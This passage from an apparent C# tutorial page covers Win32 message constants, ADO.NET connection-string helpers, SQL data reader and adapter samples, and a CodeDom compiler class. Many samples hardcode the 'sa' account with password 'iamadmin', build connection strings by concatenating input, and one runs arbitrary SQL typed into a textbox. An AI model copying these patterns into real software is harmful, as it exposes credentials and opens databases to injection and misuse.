                WM_HOTKEY = 0x312, 
                WM_HSCROLL = 0x114, 
                WM_HSCROLLCLIPBOARD = 0x30E, 
                WM_ICONERASEBKGND = 0x27, 
                WM_IME_CHAR = 0x286, 
                WM_IME_COMPOSITION = 0x10F, 
                WM_IME_COMPOSITIONFULL = 0x284, 
                WM_IME_CONTROL = 0x283, 
                WM_IME_ENDCOMPOSITION = 0x10E, 
                WM_IME_KEYDOWN = 0x290, 
                WM_IME_KEYLAST = 0x10F, 
                WM_IME_KEYUP = 0x291, 
                WM_IME_NOTIFY = 0x282, 
                WM_IME_REPORT = 0x280, 
                WM_IME_REQUEST = 0x288, 
                WM_IME_SELECT = 0x285, 
                WM_IME_SETCONTEXT = 0x281, 
                WM_IME_STARTCOMPOSITION = 0x10D, 
                WM_IMEKEYDOWN = 0x290, 
                WM_IMEKEYUP = 0x291, 
                WM_INITDIALOG = 0x110, 
                WM_INITMENU = 0x116, 
                WM_INITMENUPOPUP = 0x117, 
                WM_INPUTLANGCHANGE = 0x51, 
                WM_INPUTLANGCHANGEREQUEST = 0x50, 
                WM_INTERIM = 0x10C, 
                WM_KEYDOWN = 0x100, 
                WM_KEYFIRST = 0x100, 
                WM_KEYLAST = 0x108, 
                WM_KEYUP = 0x101, 
                WM_KILLFOCUS = 0x8, 
                WM_LBUTTONDBLCLK = 0x203, 
                WM_LBUTTONDOWN = 0x201, 
                WM_LBUTTONUP = 0x202, 
                WM_MBUTTONDBLCLK = 0x209, 
                WM_MBUTTONDOWN = 0x207, 
                WM_MBUTTONUP = 0x208, 
                WM_MDIACTIVATE = 0x222, 
                WM_MDICASCADE = 0x227, 
                WM_MDICREATE = 0x220, 
                WM_MDIDESTROY = 0x221, 
                WM_MDIGETACTIVE = 0x229, 
                WM_MDIICONARRANGE = 0x228, 
                WM_MDIMAXIMIZE = 0x225, 
                WM_MDINEXT = 0x224, 
                WM_MDIREFRESHMENU = 0x234, 
                WM_MDIRESTORE = 0x223, 
                WM_MDISETMENU = 0x230, 
                WM_MDITILE = 0x226, 
                WM_MEASUREITEM = 0x2C, 
                WM_MENUCHAR = 0x120, 
                WM_MENUCOMMAND = 0x126, 
                WM_MENUDRAG = 0x123, 
                WM_MENUGETOBJECT = 0x124, 
                WM_MENURBUTTONUP = 0x122, 
                WM_MENUSELECT = 0x11F, 
                WM_MOUSEACTIVATE = 0x21, 
                WM_MOUSEFIRST = 0x200, 
                WM_MOUSEHOVER = 0x2A1, 
                WM_MOUSELAST = 0x209, 
                WM_MOUSELEAVE = 0x2A3, 
                WM_MOUSEMOVE = 0x200, 
                WM_MOUSEWHEEL = 0x20A, 
                WM_MOVE = 0x3, 
                WM_MOVING = 0x216, 
                WM_NCACTIVATE = 0x86, 
                WM_NCCALCSIZE = 0x83, 
                WM_NCCREATE = 0x81, 
                WM_NCDESTROY = 0x82, 
                WM_NCHITTEST = 0x84, 
                WM_NCLBUTTONDBLCLK = 0xA3, 
                WM_NCLBUTTONDOWN = 0xA1, 
                WM_NCLBUTTONUP = 0xA2, 
                WM_NCMBUTTONDBLCLK = 0xA9, 
                WM_NCMBUTTONDOWN = 0xA7, 
                WM_NCMBUTTONUP = 0xA8, 
                WM_NCMOUSEHOVER = 0x2A0, 
                WM_NCMOUSELEAVE = 0x2A2, 
                WM_NCMOUSEMOVE = 0xA0, 
                WM_NCPAINT = 0x85, 
                WM_NCRBUTTONDBLCLK = 0xA6, 
                WM_NCRBUTTONDOWN = 0xA4, 
                WM_NCRBUTTONUP = 0xA5, 
                WM_NCXBUTTONDOWN = 0xAB, 
                WM_NCXBUTTONUP = 0xAC, 
                WM_NEXTDLGCTL = 0x28, 
                WM_NEXTMENU = 0x213, 
                WM_NOTIFY = 0x4E, 
                WM_NOTIFYFORMAT = 0x55, 
                WM_NULL = 0x0, 
                WM_OTHERWINDOWCREATED = 0x42, 
                WM_OTHERWINDOWDESTROYED = 0x43, 
                WM_PAINT = 0xF, 
                WM_PAINTCLIPBOARD = 0x309, 
                WM_PAINTICON = 0x26, 
                WM_PALETTECHANGED = 0x311, 
                WM_PALETTEISCHANGING = 0x310, 
                WM_PARENTNOTIFY = 0x210, 
                WM_PASTE = 0x302, 
                WM_PENWINFIRST = 0x380, 
                WM_PENWINLAST = 0x38F, 
                WM_POWER = 0x48, 
                WM_POWERBROADCAST = 0x218, 
                WM_PRINT = 0x317, 
                WM_PRINTCLIENT = 0x318, 
                WM_PSD_ENVSTAMPRECT = (WM_USER + 5), 
                WM_PSD_FULLPAGERECT = (WM_USER + 1), 
                WM_PSD_GREEKTEXTRECT = (WM_USER + 4), 
                WM_PSD_MARGINRECT = (WM_USER + 3), 
                WM_PSD_MINMARGINRECT = (WM_USER + 2), 
                WM_PSD_PAGESETUPDLG = (WM_USER), 
                WM_PSD_YAFULLPAGERECT = (WM_USER + 6), 
                WM_QUERYDRAGICON = 0x37, 
                WM_QUERYENDSESSION = 0x11, 
                WM_QUERYNEWPALETTE = 0x30F, 
                WM_QUERYOPEN = 0x13, 
                WM_QUERYUISTATE = 0x129, 
                WM_QUEUESYNC = 0x23, 
                WM_QUIT = 0x12, 
                WM_RASDIALEVENT = 0xCCCD, 
                WM_RBUTTONDBLCLK = 0x206, 
                WM_RBUTTONDOWN = 0x204, 
                WM_RBUTTONUP = 0x205, 
                WM_RENDERALLFORMATS = 0x306, 
                WM_RENDERFORMAT = 0x305, 
                WM_SETCURSOR = 0x20, 
                WM_SETFOCUS = 0x7, 
                WM_SETFONT = 0x30, 
                WM_SETHOTKEY = 0x32, 
                WM_SETICON = 0x80, 
                WM_SETREDRAW = 0xB, 
                WM_SETTEXT = 0xC, 
                WM_SETTINGCHANGE = WM_WININICHANGE, 
                WM_SHOWWINDOW = 0x18, 
                WM_SIZE = 0x5, 
                WM_SIZECLIPBOARD = 0x30B, 
                WM_SIZING = 0x214, 
                WM_SPOOLERSTATUS = 0x2A, 
                WM_STYLECHANGED = 0x7D, 
                WM_STYLECHANGING = 0x7C, 
                WM_SYNCPAINT = 0x88, 
                WM_SYSCHAR = 0x106, 
                WM_SYSCOLORCHANGE = 0x15, 
                WM_SYSCOMMAND = 0x112, 
                WM_SYSDEADCHAR = 0x107, 
                WM_SYSKEYDOWN = 0x104, 
                WM_SYSKEYUP = 0x105, 
                WM_TCARD = 0x52, 
                WM_TIMECHANGE = 0x1E, 
                WM_TIMER = 0x113, 
                WM_UNDO = 0x304, 
                WM_UNINITMENUPOPUP = 0x125, 
                WM_UPDATEUISTATE = 0x128, 
                WM_USERCHANGED = 0x54, 
                WM_VKEYTOITEM = 0x2E, 
                WM_VSCROLL = 0x115, 
                WM_VSCROLLCLIPBOARD = 0x30A, 
                WM_WINDOWPOSCHANGED = 0x47, 
                WM_WINDOWPOSCHANGING = 0x46, 
                WM_WININICHANGE = 0x1A, 
                WM_WNT_CONVERTREQUESTEX = 0x109, 
                WM_XBUTTONDBLCLK = 0x20D, 
                WM_XBUTTONDOWN = 0x20B, 
                WM_XBUTTONUP = 0x20C 
            } 
    
            public static int WIN32_SendMessage( int handle, WM ww,int WParam, int LParam) 
            { 
                int wm = (int)ww; 
                int ret = SendMessage(handle, wm,WParam, LParam); 
                return ret; 
            } 
        } 
    }

    Connection String Class

    In computing, a connection string is a string that specifies information about a data source and the means of connecting to it. It is passed in code to an underlying driver or provider in order to initiate the connection. This is an example of a utility to facilitates the db connection.

    //Connection String class
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Data;
    using System.Data.SqlClient;
    using System.Data.OleDb;
    using System.Data.Odbc;
    namespace killercodes_in.dbConnect
    {
    public static class EConnection
    {
    /// <summary>
    /// Checks the connection and returns true if connection is sucessful
    /// </summary>
    /// <param name="sqlc">Sql Connection Object</param>
    /// <param name="ShowMsgOnError">Set True to show message on error</param>
    /// <returns>True if OK</returns>
    public static bool Error(this SqlConnection sqlc, bool ErrorReport)
    {
    try
    {
    sqlc.Open();
    sqlc.Close();
    return true;
    }
    catch (Exception se)
    {
    if (ErrorReport)
    {
    System.Windows.Forms.MessageBox.Show(
    se.Message,
    "Error @ " + se.Source,
    System.Windows.Forms.MessageBoxButtons.OK,
    System.Windows.Forms.MessageBoxIcon.Stop);
    }
    return false;
    }
    }
    /// <summary>
    /// Checks the connection and returns true if connection is sucessful
    /// </summary>
    /// <param name="olec">Oledb Connection Object</param>
    /// <param name="ShowMsgOnError">Set true to show message on error</param>
    /// <returns>True is OK</returns>
    public static bool Error(this OleDbConnection olec, bool ErrorReport)
    {
    try
    {
    olec.Open();
    olec.Close();
    return true;
    }
    catch (Exception se)
    {
    if (ErrorReport)
    {
    System.Windows.Forms.MessageBox.Show(
    se.Message,
    "Error @ " + se.Source,
    System.Windows.Forms.MessageBoxButtons.OK,
    System.Windows.Forms.MessageBoxIcon.Stop);
    }
    return false;
    }
    }
    /// <summary>
    /// Checks the connection and returns true if connection is sucessful
    /// </summary>
    /// <param name="odbcc">Odbc Connection object</param>
    /// <param name="ShowMsgOnError">True to show msg on error false for not</param>
    /// <returns>True if OK</returns>
    public static bool Error(this OdbcConnection odbcc, bool ErrorReport)
    {
    try
    {
    odbcc.Open();
    odbcc.Close();
    return true;
    }
    catch (Exception se)
    {
    if (ErrorReport)
    {
    System.Windows.Forms.MessageBox.Show(
    se.Message,
    "Error @ " + se.Source,
    System.Windows.Forms.MessageBoxButtons.OK,
    System.Windows.Forms.MessageBoxIcon.Stop);
    }
    return false;
    }
    }
    //=========================================
    /// <summary>
    /// Creates a Trusted connection string with SqlConnection
    /// </summary>
    /// <param name="sqc">Sql connection Object</param>
    /// <param name="Data_Source">IP Address or Named Pipe</param>
    /// <param name="Init_Catalog">Database Name</param>
    public static void CS_SqlTrusted(this SqlConnection sqc, string Data_Source, string Init_Catalog)
    {
    sqc.ConnectionString = "Data Source=" + Data_Source +
    ";Initial Catalog=" + Init_Catalog +
    ";Integrated Security=SSPI;";
    }
    /// <summary>
    /// Creates a Trusted connection string with SqlConnection
    /// </summary>
    /// <param name="sqc">Sql connection Object</param>
    /// <param name="Server">IP Address</param>
    /// <param name="Database">Database Name</param>
    /// <param name="Trusted_Connection">True to create trusted</param>
    public static void CS_SqlTrusted(this SqlConnection sqc, string Server, string Database, bool Trusted_Connection)
    {
    sqc.ConnectionString = "Server=" + Server +
    ";Database=" + Database +
    ";Trusted_Connection=" + Trusted_Connection + ";";
    }
    /// <summary>
    /// Creates a connection string with Standard Security
    /// </summary>
    /// <param name="sqc">Sql Connection Object</param>
    /// <param name="Data_Source">Database Name</param>
    /// <param name="Init_Catalog">Table Name</param>
    /// <param name="User_Id">User Name</param>
    /// <param name="Password">Password</param>
    public static void CS_SqlStandard(this SqlConnection sqc, string Data_Source, string Init_Catalog, string User_Id, string Password)
    {
    sqc.ConnectionString = "Data Source=" + Data_Source +
    ";Initial Catalog=" + Init_Catalog +
    ";User Id=" + User_Id +
    ";Password=" + Password + ";";
    }
    public static void CS_SqlStandard(this SqlConnection sqc, string Server, string Database, string User_ID, string Password, bool Trusted_Connection)
    {
    sqc.ConnectionString = "Server=" + Server +
    ";Database=" + Database +
    ";User Id=" + User_ID +
    ";Password=" + Password +
    ";Trusted_Connection=" + Trusted_Connection + ";";
    }
    public static void CS_OleStandard(this OleDbConnection ocs, string Your_Server_Name, string Your_Database_Name, string Your_Username, string Your_Password)
    {
    ocs.ConnectionString = "Provider=SQLOLEDB;Data Source=" + Your_Server_Name +
    ";Initial Catalog=" + Your_Database_Name +
    ";UserId=" + Your_Username +
    ";Password=" + Your_Password + ";";
    }
    public static void CS_OleTrusted(this OleDbConnection ocs, string Your_Server_Name, string Your_Database_Name)
    {
    ocs.ConnectionString = "Provider=SQLOLEDB;Data Source=" + Your_Server_Name +
    ";Initial Catalog=" + Your_Database_Name + ";Integrated Security=SSPI;";
    }
    }
    }

    Get String from database


    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Data.SqlClient;
    using System.Data.Sql;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    namespace killercodes_in.StrFromDb
    {
    public partial class Form1 : Form
    {
    private string _1_Con_Str = "Data Source=(local);Initial Catalog=napstrdb;User Id=sa;Password=iamadmin";
    public Form1()
    {
    InitializeComponent();
    }
    private bool test_Connection()
    {
    try
    {
    SqlConnection _sqc = new SqlConnection(_1_Con_Str);
    _sqc.Open();
    _sqc.Close();
    return true;
    }
    catch (Exception _Esq)
    {
    label1.Text = _Esq.Message;
    return false;
    }
    }
    private void button1_Click(object sender, EventArgs e)
    {
    object g;
    //g.GetType();
    if (test_Connection())
    {
    NewMethod(label1);
    }
    }
    private void NewMethod(Label l)
    {
    SqlCommand _scmd = new SqlCommand();
    _scmd.Connection = new SqlConnection(_1_Con_Str);
    _scmd.Connection.Open();
    _scmd.CommandText = "Select * from string where msg='label'";
    SqlDataReader _sdr = _scmd.ExecuteReader();
    while (_sdr.Read())
    {
    l.Text = _sdr.GetValue(_sdr.GetOrdinal("info")).ToString();
    }
    _sdr.Close();
    _scmd.Connection.Close();
    }
    private void Form1_Load(object sender, EventArgs e)
    {
    }
    }
    }

    Stored procedure example

    //Stored procedure example
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Data.Sql;
    using System.Data.SqlClient;
    namespace killercodes_in.StoredProcedure
    {
    public partial class Form1 : Form
    {
    public string _connStr_ = "Data Source=127.0.0.1,1433;Initial Catalog=avyukta;User Id=sa;Password=iamadmin;";
    SqlCommand cmd;
    SqlConnection conn;
    public Form1()
    {
    InitializeComponent();
    }
    private void button1_Click(object sender, EventArgs e)
    {
    SqlDataAdapter sda;
    SqlCommand cmd = new SqlCommand();
    SqlParameter param;
    DataSet ds = new DataSet();
    int i = 0;
    conn = new SqlConnection(_connStr_);
    conn.Open();
    cmd.Connection = conn;
    cmd.CommandType = CommandType.StoredProcedure;
    cmd.CommandText = "Grade";
    sda = new SqlDataAdapter(cmd);
    sda.Fill(ds);
    for (i = 0; i <= ds.Tables[0].Rows.Count - 1; i++)
    {
    MessageBox.Show(ds.Tables[0].Rows[i][0].ToString());
    }
    conn.Close();
    }
    }
    }

    Sql Data Reader Example

    //Sql Data Reader
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Data.Sql;
    using System.Data.SqlClient;
    
    namespace killercodes_in.SqlDataReader1
    {
        public partial class Form1 : Form
        {
            private string _cString1 = "Data Source=(local);Initial Catalog=avyukta;User Id=sa;Password=iamadmin;";
            public Form1()
            {
                InitializeComponent();
            }
    
            private void button1_Click(object sender, EventArgs e)
            {
                SqlConnection sqc = new SqlConnection(_cString1);
                SqlCommand cmd = new SqlCommand("select * from grademstr", sqc);
                SqlDataReader reader;
                try
                {
                    sqc.Open();
                    sqc.Close();
                }
                catch
                {
                }
                sqc.Open();
                reader = cmd.ExecuteReader();
                while (reader.Read())
                {
                    textBox1.Text = reader["Gradeid"].ToString();
                    textBox2.Text = reader["GradeCode"].ToString();
                    textBox3.Text = reader["GradeDesc"].ToString();
                    textBox4.Text = reader["DA_Percent"].ToString();
                }
                reader.Close();
                cmd.Dispose();
                sqc.Close();
            }
        }
    }
    

    Sql Data Adapter Example

    SqlDataAdapter is a part of the ADO.NET Data Provider and it resides in the System.Data.SqlClient namespace. SqlDataAdapter provides the communication between the Dataset and the SQL database. We can use SqlDataAdapter Object in combination with Dataset Object.

    namespace killercodes_in.DataAdapter
    {
    public partial class Form1 : Form
    {
    public string _connStr_ = "Data Source=127.0.0.1,1433;Initial Catalog=avyukta;User Id=sa;Password=iamadmin;";
    SqlCommand cmd;
    SqlConnection conn;
    public Form1()
    {
    InitializeComponent();
    }
    private void button1_Click(object sender, EventArgs e)
    {
    conn = new SqlConnection(_connStr_);
    //cmd = new SqlCommand();
    SqlDataAdapter adap = new SqlDataAdapter();
    DataSet ds = new DataSet();
    int i = 0;
    try
    {
    conn.Open();
    cmd = new SqlCommand("select * from grademstr", conn);
    adap.SelectCommand = cmd;
    adap.Fill(ds);
    for (i = 0; i &lt;= ds.Tables[0].Rows.Count - 1; i++)
    {
    MessageBox.Show(ds.Tables[0].Rows[i].ItemArray[0] + "-" +
    ds.Tables[0].Rows[i].ItemArray[1] + "-" + ds.Tables[0].Rows[i].ItemArray[2] + "-" + ds.Tables[0].Rows[i].ItemArray[3]);
    }
    adap.Dispose();
    cmd.Dispose();
    conn.Close();
    }
    catch (Exception ex)
    {
    MessageBox.Show(ex.Message);
    }
    }
    }
    }
    //Sql Data Adapter
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Data.Sql;
    using System.Data.SqlClient;
    namespace killercodes_in.SqlDataAdapter_
    {
    public partial class Form1 : Form
    {
    private string _cString1 = "Data Source=(local);Initial Catalog=avyukta;User Id=sa;Password=iamadmin;";
    //SqlCommand cmd;
    SqlConnection con;
    SqlDataAdapter adp;
    DataSet ds;
    SqlCommandBuilder cb;
    public Form1()
    {
    InitializeComponent();
    con = new SqlConnection(_cString1);
    }
    private void button1_Click(object sender, EventArgs e)
    {
    //DataGrid dg;
    try
    {
    con.Open();
    con.Close();
    }
    catch (Exception)
    {
    }
    ds = new DataSet();
    adp = new SqlDataAdapter("select * from grademstr", con);
    cb = new SqlCommandBuilder(adp);
    adp.Fill(ds, "grademstr");
    dataGridView1.DataSource = ds;
    dataGridView1.DataMember = "grademstr";
    }
    private void button2_Click(object sender, EventArgs e)
    {
    cb.GetUpdateCommand();
    adp.Update(ds, "grademstr");
    }
    }
    }

    Get Scema table

    //get schema table
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Data.Sql;
    using System.Data.SqlClient;
    
    namespace GetScemaTable
    {
        public partial class Form1 : Form
        {
            public string _connStr_ = "Data Source=127.0.0.1,1433;Initial Catalog=killercode;User Id=sa;Password=iamadmin;";
            SqlCommand scmd;
            SqlConnection conn;
    
            public Form1()
            {
                InitializeComponent();
            }
    
            private void button1_Click(object sender, EventArgs e)
            {
                try
                {
                    conn = new SqlConnection(_connStr_);
                    scmd = new SqlCommand("select * from grademstr", conn);
    
                    scmd.Connection.Open();
                    SqlDataReader sdr = scmd.ExecuteReader();
                    DataTable gst = sdr.GetSchemaTable();
    
                    foreach (DataRow item in gst.Rows)
                    {
                        foreach (DataColumn col in gst.Columns)
                        {
                            MessageBox.Show(string.Format("{0} = {1}", col.ColumnName, item[col]));
                        }
                    }
                    sdr.Close();
                    scmd.Dispose();
                    conn.Close();
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                }
            }
        }
    }
    

    Data Connection Example

    //Data Connection
    using System.Data.SqlClient;
    using System.Data;
    
    namespace killercodes_in.DataConnect
    {
        public partial class Form1 : Form
        {
            SqlConnection con;
            SqlDataAdapter adp;
            DataSet ds;
    
            public string _intsec = "Data Source=127.0.0.1;Initial Catalog=Authors;Integrated Security=True;Pooling=False";
            public string ExtSec = "Data Source=127.0.0.1;Initial Catalog=Authors;Integrated Security=True;Pooling=False";
            public string _tcp_sa_Sec = "Data Source=127.0.0.1;Network Library=DBMSSOCN;Initial Catalog=master;Integrated Security=False;User ID=sa;Password=iamadmin;";
            private string _cString1 = "Data Source=(local);Initial Catalog=killercode;User Id=sa;Password=iamadmin;";
    
            public Form1()
            {
                InitializeComponent();
                con = new SqlConnection(_cString1);
            }
    
            private void btnConnect_Click(object sender, EventArgs e)
            {
                SqlConnection oCon;
                SqlCommand oCmd;
                string strCon;
                //oCon.ConnectionString = 
    
    
                oCon = new SqlConnection();
                oCon.ConnectionString = ExtSec;
                MessageBox.Show(oCon.ConnectionString);
                MessageBox.Show(oCon.E_Error().ToString());
    
                oCon.E_SetString("127.0.0.1", "master", "sa", "iamadmin");
                MessageBox.Show(oCon.ConnectionString);
                MessageBox.Show(oCon.E_Error().ToString());
    
                oCon.E_SetString("127.0.0.1", "master");
                MessageBox.Show(oCon.ConnectionString);
                MessageBox.Show(oCon.E_Error().ToString());
    
            }
    
            private void btnExecute_Click(object sender, EventArgs e)
            {
                SqlCommand oCmd;
                string strConn;
    
                try
                {
                    strConn = "Data Source=(local);Initial Catalog=" + txtDb.Text + ";User ID=" + txtId.Text
                    + ";Password=" + txtPsw.Text + ";";
                    oCmd = new SqlCommand();
                    oCmd.Connection = new SqlConnection(strConn);
                    oCmd.Connection.Open();
                    oCmd.CommandText = txtSql.Text;
                    txtRows.Text = oCmd.ExecuteNonQuery().ToString();
    
                    MessageBox.Show("SQL Statement succeded");
    
                    oCmd.Connection.Close();
                }
                catch (Exception ExSCon)
                {
                    MessageBox.Show(ExSCon.Message);
                }
    
    
            }
    
            private void chkSecurity_CheckedChanged(object sender, EventArgs e)
            {
    
                if (chkSecurity.Checked == true)
                {
                    txtId.Enabled = false;
                    txtPsw.Enabled = false;
    
                }
                else
                {
                    txtId.Enabled = true;
                    txtPsw.Enabled = true;
                }
            }
    
            private void button1_Click(object sender, EventArgs e)
            {
                try
                {
                    con.Open();
                    con.Close();
                }
                catch (Exception)
                {
    
                }
    
                ds = new DataSet();
    
                adp = new SqlDataAdapter("select * from grademstr", con);
                SqlCommandBuilder cb = new SqlCommandBuilder(adp);
                adp.Fill(ds, "grademstr");
                dataGridView1.DataSource = ds;
                dataGridView1.DataMember = "grademstr";
            }
        }
    
        public static class Extended
        {
            public static bool E_Check(this SqlConnection astr)
            {
                try
                {
                    astr.Open();
                    astr.Close();
                    return true;
                }
                catch (Exception ee)
                {
                    return false;
                }
            }
    
            public static bool E_Check(this SqlConnection astr, string OkMsg, string NokMsg)
            {
                try
                {
                    astr.Open();
                    astr.Close();
                    MessageBox.Show(OkMsg, "Vola", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                    return true;
                }
                catch (Exception ee)
                {
                    MessageBox.Show(NokMsg, "Oops", MessageBoxButtons.OK, MessageBoxIcon.Stop);
                    return false;
                }
    
            }
    
            public static bool E_Error(this SqlConnection astr)
            {
                try
                {
                    astr.Open();
                    astr.Close();
                    return true;
                }
                catch (Exception ee)
                {
                    MessageBox.Show(ee.Message, "An Error occured @ " + ee.Source, MessageBoxButtons.OK, MessageBoxIcon.Stop);
                    return false;
                }
            }
    
            public static void E_SetString(this SqlConnection sqc, string IP, string db_Name, string ID, string Password)
            {
                sqc.ConnectionString = "Data Source=" + IP + ";Network Library=DBMSSOCN;Initial Catalog=" + db_Name + ";Integrated Security=False;User ID=" + ID + ";Password=" + Password + ";";
            }
    
            public static void E_SetString(this SqlConnection sqc, string IP, string db_Name)
            {
                sqc.ConnectionString = "Data Source=" + IP + ";Initial Catalog=" + db_Name + ";Integrated Security=True;Pooling=False";
            }
        }
    }
    
    

    Data Adapter Example


    //Sql Data Adapter
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Data.Sql;
    using System.Data.SqlClient;
    namespace killercodes_in.SqlDataAdapter_
    {
    public partial class Form1 : Form
    {
    private string _cString1 = "Data Source=(local);Initial Catalog=avyukta;User Id=sa;Password=iamadmin;";
    //SqlCommand cmd;
    SqlConnection con;
    SqlDataAdapter adp;
    DataSet ds;
    SqlCommandBuilder cb;
    public Form1()
    {
    InitializeComponent();
    con = new SqlConnection(_cString1);
    }
    private void button1_Click(object sender, EventArgs e)
    {
    //DataGrid dg;
    try
    {
    con.Open();
    con.Close();
    }
    catch (Exception)
    {
    }
    ds = new DataSet();
    adp = new SqlDataAdapter("select * from grademstr", con);
    cb = new SqlCommandBuilder(adp);
    adp.Fill(ds, "grademstr");
    dataGridView1.DataSource = ds;
    dataGridView1.DataMember = "grademstr";
    }
    private void button2_Click(object sender, EventArgs e)
    {
    cb.GetUpdateCommand();
    adp.Update(ds, "grademstr");
    }
    }
    }

    dotNet Compiler using codedom

    //dot net compiler
    using System; 
    using System.CodeDom.Compiler; 
    using System.IO; 
         
    namespace IndiLogix.dotCompiler 
    { 
        class dotCompiler 
        { 
            FileInfo sourceFile;// = new FileInfo(sourceName); 
            CodeDomProvider provider = null; 
            bool compileOk = false; 
         
        
            // Compile Executable 
            public bool CompileExecutable(String sourceName) 
            { 
                sourceFile = new FileInfo(sourceName); 
                I_GetProvider(sourceFile); 
                if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".CS") 
                { 
                    provider = CodeDomProvider.CreateProvider("CSharp"); 
                    //return "CSharp"; 
                } 
         
                if (provider != null) 
                { 
         
                    // Format the executable file name. 
                    // Build the output assembly path using the current directory 
                    // and _cs.exe or _vb.exe. 
         
                    String exeName = String.Format(@"{0}\{1}.exe", 
                    System.Environment.CurrentDirectory, 
                    sourceFile.Name.Replace(".", "_")); 
                    string dllName = String.Format(@"{0}\{1}.dll", System.Environment.CurrentDirectory, sourceFile.Name.Replace(".", "_")); 
         
                    CompilerParameters cp = new CompilerParameters(); 
         
                    // Generate an executable instead of a class library. 
                    cp.GenerateExecutable = true; 
         
                    // Specify the assembly file name to generate. 
                    cp.OutputAssembly = exeName; 
         
                    // Save the assembly as a physical file. 
                    cp.GenerateInMemory = false; 
         
                    // Set whether to treat all warnings as errors. 
                    cp.TreatWarningsAsErrors = false; 
         
                    // Invoke compilation of the source file. 
                    CompilerResults cr = provider.CompileAssemblyFromFile(cp, sourceName); 
                    string temp; 
                    if (cr.Errors.Count > 0) 
                    { 
                        // Display compilation errors. 
                        temp = sourceName + "\n" + cr.PathToAssembly; 
         
                        foreach (CompilerError ce in cr.Errors) 
                        { 
                            temp += "\nError:" + ce.ToString(); 
                        } 
                        System.Windows.Forms.MessageBox.Show(temp, "dotCompiler Error:", System.Windows.Forms.MessageBoxButtons.OK); 
                    } 
                    else 
                    { 
                        // Display a successful compilation message. 
                        //Console.WriteLine("Source {0} built into {1} successfully.",sourceName, cr.PathToAssembly); 
                        System.Windows.Forms.MessageBox.Show("Solution build sucessfully..\n\n" + sourceName + "\n" + cr.PathToAssembly,"dotCompiler:)",System.Windows.Forms.MessageBoxButtons.OK); 
                    } 
         
                    // Return the results of the compilation. 
                    if (cr.Errors.Count > 0) 
                    { 
                        compileOk = false; 
                    } 
                    else 
                    { 
                        compileOk = true; 
                    } 
                } 
                return compileOk; 
            } 
         
            private void I_GetProvider(FileInfo sourceFile) 
            { 
                // Select the code provider based on the input file extension. 
                if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".CS") 
                { 
                    provider = CodeDomProvider.CreateProvider("CSharp"); 
                } 
                else if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".VB") 
                { 
                    provider = System.CodeDom.Compiler.CodeDomProvider.CreateProvider("VisualBasic"); 
                } 
                else 
                { 
                    //Console.WriteLine("Source file must have a .cs or .vb extension"); 
                    //_Notify("Error:", "Source file must have a .cs or .vb extension", ToolTipIcon.Error); 
                    System.Windows.Forms.MessageBox.Show( 
                    "Source file must have *.cs or *.vb extension", "dotCompiler Error", 
                    System.Windows.Forms.MessageBoxButtons.OK); 
                } 
            } 
         
            private string I_GetProvider_RetStr(FileInfo sourceFile) 
            { 
         
                // Select the code provider based on the input file extension. 
                if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".CS") 
                { 
                    provider = CodeDomProvider.CreateProvider("CSharp"); 
                    return "CSharp"; 
                } 
                else if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".VB") 
                { 
                    provider = System.CodeDom.Compiler.CodeDomProvider.CreateProvider("VisualBasic"); 
                    return "VisualBasic"; 
                } 
                else 
                { 
                    //Console.WriteLine("Source file must have a .cs or .vb extension"); 
                    //_Notify("Error:", "Source file must have a .cs or .vb extension", ToolTipIcon.Error); 
                    return "Source file must have *.cs or *.vb extension"; 
                } 
            } 
         
            public bool CompileDll(String sourceName) 
            { 
         
                sourceFile = new FileInfo(sourceName); 
                I_GetProvider(sourceFile); 
         
                if (provider != null) 
                { 
         
                // Format the executable file name. 
                // Build the output assembly path using the current directory 
                // and _cs.exe or _vb.exe. 
         
                String exeName = String.Format(@"{0}\{1}.exe", 
                System.Environment.CurrentDirectory, 
                sourceFile.Name.Replace(".", "_")); 
                string dllName = String.Format(@"{0}\{1}.dll", System.Environment.CurrentDirectory, sourceFile.Name.Replace(".", "_")); 
         
                CompilerParameters cp = new CompilerParameters(); 
         
                // Generate an executable instead of a class library. 
                cp.GenerateExecutable = false; 
         
                // Specify the assembly file name to generate. 
                cp.OutputAssembly = dllName; 
         
                // Save the assembly as a physical file. 
                cp.GenerateInMemory = false; 
         
                // Set whether to treat all warnings as errors. 
                cp.TreatWarningsAsErrors = false; 
         
                // Invoke compilation of the source file. 
                CompilerResults cr = provider.CompileAssemblyFromFile(cp, sourceName); 
                string temp; 
                if (cr.Errors.Count > 0) 
                { 
                // Display compilation errors. 
                temp = "compiling " + sourceName + " to " + cr.PathToAssembly; 
         
                foreach (CompilerError ce in cr.Errors) 
                { 
                temp += "\nError:" + ce.ToString(); 
                } 
         
                    System.Windows.Forms.MessageBox.Show(temp, "dotCompiler Error:", System.Windows.Forms.MessageBoxButtons.OK); 
                } 
                else 
                { 
                    // Display a successful compilation message. 
                    //Console.WriteLine("Source {0} built into {1} successfully.",sourceName, cr.PathToAssembly); 
